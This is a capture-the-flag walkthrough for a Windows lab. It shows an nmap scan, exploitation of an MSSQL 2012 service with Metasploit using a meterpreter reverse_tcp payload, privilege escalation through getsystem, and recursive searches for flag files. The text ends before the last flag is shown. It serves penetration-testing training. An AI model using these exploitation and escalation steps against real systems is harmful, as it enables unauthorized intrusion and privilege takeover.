> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/boxes-machines/ine/host-and-network-penetration-testing-the-metasploit-framework-ctf-1.md).
# Host & Network Penetration Testing: The Metasploit Framework CTF 1
Windows systems are common targets in penetration testing due to their extensive use in corporate environments. This lab focuses on exploiting Windows-based services and configurations using the Metasploit Framework (MSF). Participants will gain hands-on experience accessing vulnerable services, exploring sensitive directories, and escalating privileges to retrieve hidden information.
The objective is to highlight the risks associated with misconfigured accounts, exposed directories, and improper privilege management in Windows environments.
In this lab environment, you will have GUI access to a Kali machine. The target machine will be accessible at **target.ine.local**.
**Objective:** Use Metasploit and manual investigation techniques to capture the following flags:
* **Flag 1:** Gain access to the MSSQLSERVER account on the target machine to retrieve the first flag.
* **Flag 2:** Locate the second flag within the Windows configuration folder.
* **Flag 3:** The third flag is also hidden within the system directory. Find it to uncover a hint for accessing the final flag.
* **Flag 4:** Investigate the Administrator directory to find the fourth flag.
### Scanning
```
┌──(root㉿INE)-[~]
└─# sudo nmap -sC -sV -O target.ine.local
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-14 17:55 IST
Stats: 0:01:22 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.48% done; ETC: 17:56 (0:00:00 remaining)
Nmap scan report for target.ine.local (10.5.24.70)
Host is up (0.0022s latency).
Not shown: 991 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2012 11.00.6020.00; SP3
| ms-sql-info:
| 10.5.24.70\MSSQLSERVER:
| Instance name: MSSQLSERVER
| Version:
| name: Microsoft SQL Server 2012 SP3
| number: 11.00.6020.00
| Product: Microsoft SQL Server 2012
| Service pack level: SP3
| Post-SP patches applied: false
| TCP port: 1433
|_ Clustered: false
| ms-sql-ntlm-info:
| 10.5.24.70\MSSQLSERVER:
| Target_Name: WIN-5BQ22OKH4SO
| NetBIOS_Domain_Name: WIN-5BQ22OKH4SO
| NetBIOS_Computer_Name: WIN-5BQ22OKH4SO
| DNS_Domain_Name: WIN-5BQ22OKH4SO
```
Now that we know **MSSQL Server** is running on **port 1433**, and the version is **SQL Server 2012 (11.00.6020.00; SP3)**, we can search for an exploit based on this version.
### Exploiting MSSQL server
we have a MSSQL vulnerability available in metasploit available.
To do this, we can use **Metasploit**. Start Metasploit by typing: `msfconsole` use metasploit. Once inside Metasploit, search for available exploits related to **MSSQL 2012** using `search MSSQL 2012`
* Selected the exploit and set parameters:
```
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS target.ine.local
run
```
and we have a session.
Navigate to root directory and get the first flag.
For the second flag, we want to check the **Windows configuration folder**, which is usually found in the `System32` directory. To navigate to it, type the following command: `cd Windows\System32`
### Privilege Escalation using getsystem
We don’t have access to view the contents. To check this, we need to first review our privileges. Let’s get back to our Meterpreter session by using **Ctrl + C**. Then, type `getprivs` to view the privileges that the current user has.
These privs are for the user. We can use `getsystem` to elevate the privileges because if `SeImpersonatePrivilege` is present, `getsystem` is likely to succeed using Named Pipe Impersonation.
We have elevated our privileges. Now, we can use the `shell` command again to get the shell and continue searching for the second flag.
We have successfully entered the **config** directory. Type `dir` to list the contents.
We have found the second flag. To read its contents, use the command `type flag2.txt`.
### Searching recursively for flag
The question states that the third flag is also hidden within the **system** directory, but we don’t know its exact location. However, we know that the flag files end with `.txt`. To search for those files, use the following command:
```
dir C:\Windows\System32\*.txt /s /b
```
This command will search for all `.txt` files within the **System32** directory and its subdirectories.
We see a file named **EscalatePrivilageToGetThisFlag.txt**. To read its contents, type the following command:
```
type C:\Windows\System32\drivers\etc\EscaltePrivilageToGetThisFlag.txt
```
### F**lag 4: Administrator’s Desktop**
Since we have already elevated our privileges, let’s navigate to the **Administrator** directory to find the fourth flag.
To list the contents, type `dir`. Let's navigate to the **Desktop** directory.
And here we have found our last flag, which is:
